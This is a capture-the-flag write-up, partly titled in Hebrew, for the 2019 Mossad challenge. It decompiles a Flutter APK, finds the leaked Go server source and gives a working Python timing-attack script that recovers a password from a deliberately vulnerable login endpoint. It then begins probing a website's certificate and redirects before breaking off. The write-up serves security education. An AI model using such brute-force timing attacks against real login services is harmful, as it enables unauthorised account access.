פתרון חידת המוסד 2019

The challenge is usually very simple, so we’ll just try a binary code.
>>> '.'.join([str(c) for c in [0b00100011,0b11110110,0b10011110,0b00110011]])'35.246.158.51'

https://www.israeldefense.co.il/he/node/38519
https://github.com/adv4000/mossadchallenge2019
https://jctf.team/Mossad-Challenge-5779/
Challenge #1
Description
Welcome Agent.
A team of field operatives is currently on-site in enemy territory, working to retrieve intel on an imminent terrorist attack.
The intel is contained in a safe, the plans for which are available to authorized > clients via an app.
Our client ID is f6e772ba649047c8b5d653914bd5d6d7
Your mission is to retrieve those plans, and allow our team to break into the safe.
Good luck!, M.|
An APK file was attached.
Solution
We start by extracting the APK file using apktool
:
root@kali:/media/sf_CTFs/mossad/1# apktool d app.apk I: Using Apktool 2.3.4-dirty on app.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
The first thing to look at is the manifest:
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0"> <uses-permission android:name="android.permission.INTERNET"/> <application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication"> <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize"> <meta-data android:name="io.flutter.app.android.SplashScreenUntilFirstFrame" android:value="true"/> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application></manifest>
Looks like a Flutter application:
Flutter is an open-source mobile application development framework created by Google. It is used to develop applications for Android and iOS (Wikipedia)
Looking around, most of the files seem either framework-related or bare-bones.
The application name seems to be “locksmither”, let’s search for all instances of it in order to be able to a closer look at the application specific code:
root@kali:/media/sf_CTFs/mossad/1/app# grep -rnw locksmitherAndroidManifest.xml:1:<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">AndroidManifest.xml:4: <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">Binary file assets/flutter_assets/kernel_blob.bin matchessmali/com/iwalk/locksmither/BuildConfig.smali:1:.class public final Lcom/iwalk/locksmither/BuildConfig;smali/com/iwalk/locksmither/BuildConfig.smali:7:.field public static final APPLICATION_ID:Ljava/lang/String; = "com.iwalk.locksmither"smali/com/iwalk/locksmither/BuildConfig.smali:31: sput-boolean v0, Lcom/iwalk/locksmither/BuildConfig;->DEBUG:Zsmali/com/iwalk/locksmither/MainActivity.smali:1:.class public Lcom/iwalk/locksmither/MainActivity;smali/com/iwalk/locksmither/R$drawable.smali:1:.class public final Lcom/iwalk/locksmither/R$drawable;smali/com/iwalk/locksmither/R$drawable.smali:8: value = Lcom/iwalk/locksmither/R;smali/com/iwalk/locksmither/R$mipmap.smali:1:.class public final Lcom/iwalk/locksmither/R$mipmap;smali/com/iwalk/locksmither/R$mipmap.smali:8: value = Lcom/iwalk/locksmither/R;smali/com/iwalk/locksmither/R$style.smali:1:.class public final Lcom/iwalk/locksmither/R$style;smali/com/iwalk/locksmither/R$style.smali:8: value = Lcom/iwalk/locksmither/R;smali/com/iwalk/locksmither/R.smali:1:.class public final Lcom/iwalk/locksmither/R;smali/com/iwalk/locksmither/R.smali:9: Lcom/iwalk/locksmither/R$style;,smali/com/iwalk/locksmither/R.smali:10: Lcom/iwalk/locksmither/R$mipmap;,smali/com/iwalk/locksmither/R.smali:11: Lcom/iwalk/locksmither/R$drawable;
The following line stands out:
Binary file assets/flutter_assets/kernel_blob.bin matches
Why is the application name found in a binary file?
root@kali:/media/sf_CTFs/mossad/1/app# strings assets/flutter_assets/kernel_blob.bin | grep locksmitherCfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/main.dartimport 'package:locksmither/routes.dart';Mfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/AuthURL.dartKfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/token.dartQfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/cookie_jar.dartIimport 'package:locksmither/models/token.dart';Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_actions.dartimport 'package:locksmither/network/network_wrapper.dart';import 'package:locksmither/models/token.dart';import 'package:locksmither/models/AuthURL.dart';Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_wrapper.dartNfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/home_page.dartimport 'package:locksmither/network/cookie_jar.dart';import 'package:locksmither/models/token.dart';Ofile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/login_page.dartimport 'package:locksmither/network/network_actions.dart';import 'package:locksmither/network/cookie_jar.dart';import 'package:locksmither/models/token.dart';Efile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/routes.dartimport 'package:locksmither/pages/login_page.dart';import 'package:locksmither/pages/home_page.dart';
This looks like paths and code, it’s worth taking a closer look.
root@kali:/media/sf_CTFs/mossad/1/app# xxd -u assets/flutter_assets/kernel_blob.bin | grep main.dart -B 10 -A 10004fffa0: C000 87E0 C000 87D6 C000 87EA C000 87CB ................004fffb0: C000 8841 C000 884A C000 884B C000 887D ...A...J...K...}004fffc0: C000 8861 C000 8889 C000 889A C000 889C ...a............004fffd0: C000 8A48 C000 8A1C C000 899F C000 8AB2 ...H............004fffe0: 8A5F 8A63 8A64 8A65 8A66 8A69 8FF3 0000 ._.c.d.e.f.i....004ffff0: 0000 0000 4FFF F100 0000 0000 4FFF F300 ....O.......O...00500000: 0000 0000 0002 2C00 0000 4366 696C 653A ......,...Cfile:00500010: 2F2F 2F43 3A2F 5573 6572 732F 5553 4552 ///C:/Users/USER00500020: 2F44 6573 6B74 6F70 2F32 3031 392F 636C /Desktop/2019/cl00500030: 6965 6E74 2F6C 6F63 6B73 6D69 7468 6572 ient/locksmither00500040: 2F6C 6962 2F6D 6169 6E2E 6461 7274 81DE /lib/main.dart..00500050: 696D 706F 7274 2027 7061 636B 6167 653A import 'package:00500060: 666C 7574 7465 722F 6D61 7465 7269 616C flutter/material00500070: 2E64 6172 7427 3B0D 0A69 6D70 6F72 7420 .dart';..import00500080: 2770 6163 6B61 6765 3A6C 6F63 6B73 6D69 'package:locksmi00500090: 7468 6572 2F72 6F75 7465 732E 6461 7274 ther/routes.dart005000a0: 273B 0D0A 0D0A 766F 6964 206D 6169 6E28 ';....void main(005000b0: 2920 3D3E 2072 756E 4170 7028 4C6F 636B ) => runApp(Lock005000c0: 536D 6974 6865 7241 7070 2829 293B 0D0A SmitherApp());..005000d0: 0D0A 636C 6173 7320 4C6F 636B 536D 6974 ..class LockSmit005000e0: 6865 7241 7070 2065 7874 656E 6473 2053 herApp extends S
This is actual code!
We search kernel_blob.bin
for all locations of the user application (i.e. paths that start with “file:///C:/Users/USER/Desktop/2019/client/locksmither/
“) and extract the following files:
root@kali:/media/sf_CTFs/mossad/1/app# ls -l ../*.dart-rwxrwx--- 1 root vboxsf 287 May 9 10:50 ../AuthURL.dart-rwxrwx--- 1 root vboxsf 329 May 9 10:50 ../cookie_jar.dart-rwxrwx--- 1 root vboxsf 839 May 9 10:52 ../home_page.dart-rwxrwx--- 1 root vboxsf 3569 May 9 10:52 ../login_page.dart-rwxrwx--- 1 root vboxsf 478 May 9 10:49 ../main.dart-rwxrwx--- 1 root vboxsf 1279 May 9 10:51 ../network_actions.dart-rwxrwx--- 1 root vboxsf 1993 May 9 10:51 ../network_wrapper.dart-rwxrwx--- 1 root vboxsf 355 May 9 10:53 ../routes.dart-rwxrwx--- 1 root vboxsf 574 May 9 10:50 ../token.dart
The files are attached under the Challenge1_files
folder.
From login_page.dart
we can learn that the application UI offers two fields: A seed and a password:
new Form( key: formKey, child: new Column( children: <Widget>[ new Padding( padding: const EdgeInsets.all(8.0), child: new TextFormField( onSaved: (val) => _seed = val, decoration: new InputDecoration(labelText: "Seed"), ), ), new Padding( padding: const EdgeInsets.all(8.0), child: new TextFormField( onSaved: (val) => _password = val, decoration: new InputDecoration(labelText: "Password"), ), ), ], ), ),
The login logic is located in network_actions.dart
:
class NetworkActions { NetworkWrapper _netUtil = new NetworkWrapper(); static const BASE_URL = "http://35.246.158.51:8070"; static const LOGIN_URL = BASE_URL + "/auth/getUrl"; Future<Token> login(String seed, String password) { var headers = new Map<String,String>(); return _netUtil.get(LOGIN_URL, headers:headers).then((dynamic authUrl) { try { if (authUrl == null) { return Future<Token>.sync(() => new Token("", false, 0)); } var loginUrl = BASE_URL + AuthURL.map(json.decode(authUrl.body)).url; Map<String,String> body = { "Seed": seed, "Password": password }; Map<String,String> headers = {"content-type": "application/json"}; return _netUtil.post(loginUrl,body: json.encode(body), headers:headers).then((dynamic token) { return Token.map(token); }); } catch (e) { return Future<Token>.sync(() => new Token("", false, 0)); } }).catchError((e) { return null; }); }}
First, the authentication URL is received by making a request to /auth/getUrl
. Then, the seed and password are verified against the login service.
Successfully logging in will take us to the home page, revealing a lock URL:
String get lockURL => _token.lockURL; int get time => _token.time; @override Widget build(BuildContext context) { return new Scaffold( appBar: new AppBar(title: new Text("Home"),), body: new Center( child: new Text("Success!\nLock Url: $lockURL\nObtained in: $time nanoseconds" ), ), ); }
The obvious next move is to investigate the API:
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl{"AuthURL":"/auth/v2"}
Let’s try to authenticate with random credentials (we add the user agent since that’s what the application uses, as seen in network_wrapper.dart
):
root@kali:/media/sf_CTFs/mossad/1# curl -X POST http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2" && echo{"IsValid":false,"LockURL":"","Time":129238}
Obviously we get IsValid = False
, but the detail that stands out here it the Time
member.
We try the same request again and get a different time:
root@kali:/media/sf_CTFs/mossad/1# curl -X POST http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2" && echo{"IsValid":false,"LockURL":"","Time":102929}
The result this time is smaller, meaning that this isn’t a running clock. And in fact, we can see from the success message above that this is the amount of time, in nanoseconds, that it took the server to respond.
This is very good news since it might allow us to perform a Timing Attack:
In cryptography, a timing attack is a side channel attack in which the attacker attempts to compromise a cryptosystem by analyzing the time taken to execute cryptographic algorithms. Every logical operation in a computer takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, an attacker can work backwards to the input.
The high-level concept is as follows:
- For each legal character that a password can contain:
- Send a request with the current character as the first character of the password and some other random string for the rest of the password
- Measure the time it takes for the server to respond
- If the server is vulnerable to a timing attack (by comparing the user password to the real password character by character), the time it takes for the server to respond when we send the correct first character will be a bit longer. This is because in this case, the server performs two comparisons (one for the first letter which is successful, and then for the second letter which is probably wrong), while in the common case the server will find out that the password is wrong during the first comparison
- After revealing the first letter of the password, repeat the procedure for the rest of the password
We can use the following script as a proof of concept:
import requestsimport stringimport jsondef send_request(payload): headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'} r = requests.post("http://35.246.158.51:8070/auth/v2", json={"Seed":"12345", "Password": payload}, headers = headers) j = json.loads(r.text) return j l = []for c in string.printable: r = send_request(c + "#") l.append((r["Time"], c))print(sorted(l, reverse = True))
The result:
root@kali:/media/sf_CTFs/mossad/1# python timing.py[(163682, 'P'), (156899, '"'), (146783, 'C'), (145022, "'"), (143158, '1'), (139654, 'j'), (139454, 'L'), (135785, '8'), (134824, '9'), (132512, '!'), (131702, '='), (131552, '$'), (131263, '0'), (131155, '@'), (130981, 'N'), (129179, 'b'), (128047, 'E'), (128036, 'G'), (127787, 'h'), (127631, '\x0b'), (127044, 'A'), (126666, 'q'), (126146, 'n'), (125356, ','), (125075, ' '), (124757, 'X'), (124608, 'F'), (124069, 'w'), (124025, 'Y'), (123364, 'm'), (122906, 'g'), (122613, 'u'), (122606, '\t'), (121776, '~'), (121402, '\x0c'), (121275, '.'), (120777, '^'), (120572, '5'), (120426, 'D'), (120388, 'l'), (120097, 'H'), (120018, '?'), (119420, 'J'), (119327, 'r'), (119326, '4'), (119259, 'V'), (119190, 'y'), (118724, 'I'), (118169, '&'), (118157, 'T'), (118114, 'O'), (117913, '`'), (117629, '+'), (117480, 's'), (117362, 'Q'), (116088, '\\'), (116053, '\n'), (115872, 'B'), (115745, '/'), (115344, 'R'), (115142, '7'), (114646, '6'), (114521, 'a'), (114003, 'K'), (113926, 'f'), (113572, '\r'), (113293, 'v'), (113253, 't'), (113185, 'p'), (113152, ')'), (112912, '('), (112414, '|'), (111918, '['), (111859, 'k'), (111699, ':'), (111509, ']'), (111354, 'M'), (111118, '#'), (110780, 'c'), (110737, 'z'), (110175, 'S'), (109707, '3'), (109606, 'e'), (109528, '{'), (109424, '}'), (109305, 'U'), (108920, '-'), (108639, 'Z'), (108453, '_'), (108418, '2'), (108109, '*'), (108038, 'o'), (107736, 'd'), (107513, '<'), (107136, '>'), (106291, '%'), (105649, 'W'), (104954, ';'), (103039, 'i'), (78280, 'x')]
According to these results, “P” is probably the first letter of the password.
In order to double check, we run again:
root@kali:/media/sf_CTFs/mossad/1# python 1.py[(162929, 'q'), (159551, 'S'), (152178, '\t'), (148898, '['), (147134, '%'), (144974, 'm'), (144912, 'F'), (143515, 'E'), (142428, 't'), (135889, '/'), (135324, 'G'), (132307, 'b'), (130708, '@'), (129942, 'a'), (128031, '>'), (127303, 'W'), (127025, '?'), (126839, 'C'), (126811, '\\'), (126428, '\x0b'), (126067, 'V'), (125985, 'l'), (125777, '^'), (124175, 'D'), (124024, ']'), (123713, 'k'), (123555, '6'), (122888, 'o'), (122160, 'y'), (122144, 'w'), (122098, 'g'), (121428, '2'), (120693, 'Z'), (120687, '$'), (120657, 'v'), (120651, '\r'), (119935, 'z'), (119293, '\n'), (118910, '+'), (118698, '*'), (118381, ')'), (118298, '8'), (117939, '='), (117692, 'N'), (117053, ','), (116495, '&'), (116462, '4'), (116365, 'R'), (116194, '('), (116189, '9'), (115807, 'Q'), (115520, 'H'), (115339, 'B'), (115256, '{'), (114959, '<'), (114855, 'P'), (114757, '|'), (114453, 'e'), (114298, ':'), (114273, '#'), (114107, 'r'), (113600, '.'), (113431, 'K'), (113371, 'A'), (113337, 'Y'), (113289, '}'), (112673, "'"), (112593, 'M'), (112572, 'p'), (112448, 'j'), (112426, '"'), (112342, 'X'), (112101, 'L'), (111912, '-'), (111818, '\x0c'), (111721, '0'), (111695, 'f'), (111695, ';'), (111470, 'h'), (111458, '5'), (111301, 'T'), (111074, 'I'), (110847, 's'), (110547, 'n'), (110543, 'x'), (110320, 'u'), (110306, '`'), (109994, '1'), (109928, 'O'), (109895, '3'), (109740, '!'), (108844, 'c'), (108607, '7'), (106737, 'J'), (106614, '~'), (106584, 'U'), (106269, '_'), (105884, ' '), (97347, 'd'), (94793, 'i')]
This time we get completely different results, and “P” is not even close to the top. We can repeat the experiment several times and each time we get very different results. The conclusion must be that this service is not vulnerable to a timing attack.
It’s back to the drawing board, however there’s not too much to work with anymore.
After thoroughly reviewing everything several times, we go back to the manifest and concentrate on the following line:
<application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">
The android:data
attribute is easy to look over at first, but upon closer examination it’s a bit suspicious that the sentence doesn’t start with a capital letter like we would expect if this was copied from some official source. What is this is a hint?
Github has many results for iwalk and LockSmither, but only one result for the combination iWalk-LockSmither!
In the single commit by this user, the following code was checked in:
package mainimport ( "encoding/json" "fmt" "log" "net/http" "time")type AuthURL struct { AuthURL string}type LoginData struct { Seed string Password string}type AuthResponse struct { IsValid bool LockURL string Time time.Duration}func notFound(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Page not found")}func getAuthURL(w http.ResponseWriter, r *http.Request) { userAgent := r.Header.Get("User-Agent") url := "/auth/v2" if userAgent == "ed9ae2c0-9b15-4556-a393-23d500675d4b" { url = "/auth/v1_1" } resp := AuthURL{AuthURL: url} w.Header().Set("Server", "iWalk-Server-v2") w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(resp)}//iWalk-Locks: Production authfunc v2Auth(w http.ResponseWriter, r *http.Request) { start := time.Now() decoder := json.NewDecoder(r.Body) var loginData LoginData err := decoder.Decode(&loginData) if err != nil { ret := getResponseToken(start, false, "") returnToken(w, ret) return } //LockSmiter: better Auth checks for our app for _, lock := range getLocks() { if lock.Password == loginData.Password && lock.Seed == loginData.Seed { ret := getResponseToken(start, true, lock.Value) returnToken(w, ret) return } } ret := getResponseToken(start, false, "") returnToken(w, ret)}//iWalk-Locks: old auth, depcrated developed by OG//that is no longer with us//TODO: deprecated, remove from codefunc v1Auth(w http.ResponseWriter, r *http.Request) { userAgent := r.Header.Get("User-Agent") if userAgent != "ed9ae2c0-9b15-4556-a393-23d500675d4b" { returnServerError(w, r) return } start := time.Now() decoder := json.NewDecoder(r.Body) var loginData LoginData err := decoder.Decode(&loginData) if err != nil { ret := getResponseToken(start, false, "") returnToken(w, ret) return } for _, lock := range getLocks() { if loginData.Seed != lock.Seed { continue } currentIndex := 0 for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) { if lock.Password[currentIndex] != loginData.Password[currentIndex] { break } //OG: securing against bruteforce attempts... ;-) time.Sleep(30 * time.Millisecond) currentIndex++ } if currentIndex == len(lock.Password) { ret := getResponseToken(start, true, lock.Value) returnToken(w, ret) return } } ret := getResponseToken(start, false, "") returnToken(w, ret)}func getResponseToken(from time.Time, isValid bool, lockURL string) []byte { elapsed := time.Since(from) resp := AuthResponse{IsValid: isValid, LockURL: lockURL, Time: elapsed} js, err := json.Marshal(resp) if err != nil { return nil } return js}func returnToken(w http.ResponseWriter, js []byte) { if js == nil { http.Error(w, "", http.StatusInternalServerError) return } w.Header().Set("Server", "iWalk-Server-v2") w.Header().Set("Content-Type", "application/json") w.Write(js)}func returnServerError(w http.ResponseWriter, r *http.Request) { w.Header().Set("Server", "iWalk-Server-v2") http.Error(w, "Oh no. We might have a problem; trained monkies are on it.", http.StatusInternalServerError)}func main() { if getLocks() == nil { panic("Something is wrong with the locks file") } http.HandleFunc("/auth/getUrl", getAuthURL) http.HandleFunc("/auth/v1_1", v1Auth) http.HandleFunc("/auth/v2", v2Auth) http.HandleFunc("/", notFound) log.Fatal(http.ListenAndServe(":8070", nil))}
This is the missing piece we needed!
We can see that there is a deprecated API (v1Auth
) which is available only using a certain user agent:
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl{"AuthURL":"/auth/v2"}root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"{"AuthURL":"/auth/v1_1"}
Luckily, this API is vulnerable to a timing attack:
for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) { if lock.Password[currentIndex] != loginData.Password[currentIndex] { break } //OG: securing against bruteforce attempts... ;-) time.Sleep(30 * time.Millisecond) currentIndex++}
When we send a correct character, the server will wait 30 milliseconds before continuing to the next character, making it easy to isolate the correct character.
The only thing we have to bypass now is the following check:
if loginData.Seed != lock.Seed { continue}
If we don’t know the correct seed, we won’t be able to get to the character comparison. We can’t brute force the seed since we have any information leaking at this stage, i.e. we can’t distinguish a good seed from a bad one.
Since there doesn’t seem any other way around this, our only reasonable strategy is to use the only piece of information we haven’t used yet – the client ID from the description.
Let’s try it:
import requestsimport stringimport jsondef send_request(payload): headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'} r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers) j = json.loads(r.text) return j l = []for c in string.printable: r = send_request(c + "#") l.append((r["Time"], c))print(sorted(l, reverse = True))
Output:
root@kali:/media/sf_CTFs/mossad/1# python timing.py[(30297821, '8'), (299177, '^'), (225591, 'g'), (220877, 'J'), (214820, '9'), (199345, 'o'), (195457, '"'), (195241, '\n'), (194002, ','), (193293, '\r'), (190532, '\t'), (188643, 's'), (188146, 'V'), (186111, 'T'), (185161, 'N'), (185028, 'Y'), (183405, 'X'), (183234, 'l'), (182483, '6'), (182456, 'b'), (182241, '<'), (181334, '!'), (178178, 'G'), (178124, 'x'), (177788, 'e'), (177576, '$'), (176918, 'C'), (176083, 'j'), (174459, ')'), (174277, 'S'), (173024, 'E'), (172562, 'O'), (172215, 'k'), (172177, 'r'), (171948, ':'), (171693, 'W'), (171325, 'P'), (169705, 'q'), (169170, '4'), (169059, '\x0c'), (168927, '7'), (168658, '}'), (168632, '|'), (168210, 'z'), (168172, ' '), (168043, '>'), (166839, '&'), (166585, '5'), (166238, 'u'), (165316, '2'), (165023, 'A'), (164470, 'B'), (164381, 'D'), (164035, '*'), (163765, '\x0b'), (163733, '#'), (163578, 'i'), (163529, '?'), (163259, 'm'), (162995, 'U'), (162713, "'"), (162601, '`'), (162267, 'y'), (161912, 'K'), (161689, '1'), (161392, 'c'), (161292, 'w'), (161221, '{'), (160424, 'h'), (159986, 'I'), (159927, '('), (159717, '+'), (159480, '0'), (159385, ']'), (158972, 'H'), (158693, '~'), (158634, '3'), (158297, 'n'), (158277, '='), (158116, 'p'), (158082, 'M'), (158059, 'F'), (158044, 'Q'), (157507, 'Z'), (157177, '%'), (157097, '/'), (156999, '['), (156588, '_'), (156581, 'd'), (156274, 'f'), (156232, 'a'), (155671, 't'), (155460, 'R'), (154342, '-'), (154146, '\\'), (153440, '@'), (151308, 'v'), (150976, 'L'), (149162, ';'), (148828, '.')]root@kali:/media/sf_CTFs/mossad/1# python timing.py[(30255514, '8'), (255535, 'l'), (208315, 'v'), (205267, 'f'), (200087, '^'), (197082, 'q'), (195745, 'r'), (194660, 's'), (186805, 'B'), (185840, '3'), (181089, '4'), (180780, '?'), (180144, 'O'), (178863, 'a'), (177931, 'p'), (177763, '_'), (177756, 'J'), (176735, "'"), (176232, '!'), (175732, 'I'), (175128, 'R'), (174867, '@'), (174858, '9'), (174730, 'A'), (174675, '"'), (173457, 'j'), (173435, '#'), (172652, 'L'), (172419, ':'), (172269, 'o'), (171940, 'g'), (171812, '+'), (171080, '-'), (170780, 'S'), (170205, 'k'), (169251, '&'), (169217, 'M'), (168910, 'Z'), (167135, '<'), (167123, '\x0c'), (167101, 'P'), (167100, '1'), (166640, 'm'), (166395, '\x0b'), (166386, '%'), (165335, ','), (164965, 'x'), (164965, 'c'), (164864, 'C'), (164136, '\t'), (163903, '5'), (163892, 'y'), (163660, '*'), (163508, '.'), (163465, '`'), (163437, 'G'), (163328, 'Q'), (162983, 'F'), (162730, 'X'), (162463, 'b'), (162249, '2'), (161992, '>'), (161910, 'w'), (161624, 'u'), (161342, '/'), (161326, 'T'), (161166, '0'), (160766, '('), (160611, 'V'), (159719, 'H'), (159149, ' '), (158566, 'U'), (158408, '['), (158281, 'z'), (158154, '$'), (157983, '~'), (157642, 'K'), (157615, 'd'), (157545, '6'), (157347, '7'), (157185, '|'), (157041, '\r'), (156871, 'D'), (156260, '{'), (156160, ')'), (156053, 'e'), (155840, '\\'), (155520, 'h'), (155516, '='), (155361, 'Y'), (155184, 'E'), (155151, 'i'), (154420, 'W'), (154251, '}'), (153745, ']'), (149470, '\n'), (148354, 'n'), (147696, ';'), (147150, 'N'), (145426, 't')]
We got a consistent “8” twice in a row, with a large delta from the next runner-up. This means that we’re on the right track.
The following script will extract the complete password:
import requestsimport stringimport jsonimport sysdef send_request(payload): headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'} r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers) j = json.loads(r.text) return jdef timing_attack(): password = "" sys.stdout.write("Progress: ") sys.stdout.flush() while True: l = [] for c in '1234567890abcdef': r = send_request(password + c + "#") if r["IsValid"]: return (r, password + c) l.append((r["Time"], c)) s = sorted(l, reverse = True) new_char = s[0][1] sys.stdout.write(new_char) sys.stdout.flush() password += new_char return Noneif __name__ == "__main__": (response, password) = timing_attack() print ("\nPassword: {}".format(password)) print ("URL: {}".format(response["LockURL"]))
Note that we’re only trying lowercase HEX characters, since from the first few results it seems as though the password is lowercase HEX. This allowed running much faster. If this assumption would have been found to be incorrect, we would have tried iterating over string.printable
.
The output:
root@kali:/media/sf_CTFs/mossad/1# python timing.pyProgress: 81c4727e019d42e49fe9bcca9b2b0c8Password: 81c4727e019d42e49fe9bcca9b2b0c8cURL: http://3d375032374147a7865753e4bbc92682.xyz/c76de3be5d23447e95d498aeff4ca5fc

Challenge #2
Description
Hello again, Agent.
Our team has successfully exfiltrated the intel contained in the safe.
The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to shoot down civilian aircraft.
While our field teams try to find the weapon, you must work to disable it remotely.
Good luck! M.|
A link to a website was attached.
Solution
We visit the website at http://missilesys.com/
and get a redirection to an HTTPS version:
root@kali:/media/sf_CTFs/mossad/2# curl http://missilesys.com/ -v* Trying 35.246.158.51...* TCP_NODELAY set* Connected to missilesys.com (35.246.158.51) port 80 (#0)> GET / HTTP/1.1> Host: missilesys.com> User-Agent: curl/7.61.0> Accept: */*>< HTTP/1.1 302 Moved Temporarily< Server: nginx/1.14.0 (Ubuntu)< Date: Sun, 12 May 2019 17:32:53 GMT< Content-Type: text/html< Content-Length: 170< Connection: keep-alive< Location: https://missilesys.com/<<html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>* Connection #0 to host missilesys.com left intact
The HTTPS website is not backed by a known certificate chain:
root@kali:/media/sf_CTFs/mossad/2# curl https://missilesys.com/curl: (60) SSL certificate problem: unable to get local issuer certificateMore details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentioned above.
If we check the certificate chain details, we get the following certificate:
root@kali:/media/sf_CTFs/mossad/2# nmap -p 443 --script ssl-cert missilesys.comStarting Nmap 7.70 ( https://nmap.org ) at 2019-05-12 20:37 IDTNmap scan report for missilesys.com (35.246.158.51)Host is up (0.0098s latency).rDNS record for 35.246.158.51: 51.158.246.35.bc.googleusercontent.comPORT STATE SERVICE443/tcp open https| ssl-cert: Subject: commonName=missilesys.com| Subject Alternative Name: DNS:missilesys.com, IP Address:35.198.135.201| Issuer: organizationName=International Weapons Export Inc.| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2019-04-20T09:12:01| Not valid after: 2020-04-19T09:12:01| MD5: b023 7df6 4040 57fb f26e 0d38 0955 874e|_SHA-1: 4445 b350 b422 5dc7 1bcc 947c fa06 d48b 514f e580
The certificate is issued to missilesys.com
by International Weapons Export Inc.
. Since we don’t have a chain from International Weapons Export Inc.
up to some root of trust, the certificate isn’t trusted.
We can add a flag to ignore our trust issues and retrieve the website anyway:
root@kali:/media/sf_CTFs/mossad/2# curl https://missilesys.com/ -v -k* Trying 35.246.158.51...* TCP_NODELAY set* Connected to missilesys.com (35.246.158.51) port 443 (#0)* ALPN, offering h2* ALPN, offering http/1.1* successfully set certificate verify locations:* CAfile: none CApath: /etc/ssl/certs* (304) (OUT), TLS handshake, Client hello (1):* (304) (IN), TLS handshake, Server hello (2):* TLSv1.2 (IN), TLS handshake, Certificate (11):* TLSv1.2 (IN), TLS handshake, Server key exchange (12):* TLSv1.2 (IN), TLS handshake, Request CERT (13):* TLSv1.2 (IN), TLS handshake, Server finished (14):* TLSv1.2 (OUT), TLS handshake, Certificate (11):* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):* TLSv1.2 (OUT), TLS change cipher, Client hello (1):* TLSv1.2 (OUT), TLS handshake, Finished (20):* TLSv1.2 (IN), TLS handshake, Finished (20):* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384* ALPN, server accepted to use http/1.1* Server certificate:* subject: CN=missilesys.com* start date: Apr 20 09:12:01 2019 GMT* expire date: Apr 19 09:12:01 2020 GMT* issuer: O=International Weapons Export Inc.* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.> GET / HTTP/1.1> Host: missilesys.com> User-Agent: curl/7.61.0> Accept: */*>< HTTP/1.1 302 Moved Temporarily< Server: nginx/1.14.0 (Ubuntu)< Date: Sun, 12 May 2019 17:44:18 GMT< Content-Type: text/html< Content-Length: 170< Connection: keep-alive< Location: http://missilesys.com/notwelcome<<html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>* Connection #0 to host missilesys.com left intact
Now we get redirected to http://missilesys.com/notwelcome
, which contains a big red light and the text “You are not welcome here!”:
<div id="title" class="level1_title"> <span>You are not welcome here!</span> </div> <div id="notwelcome"> <img src="http://dev.missilesys.com/images/red_light.png"></img> </div>
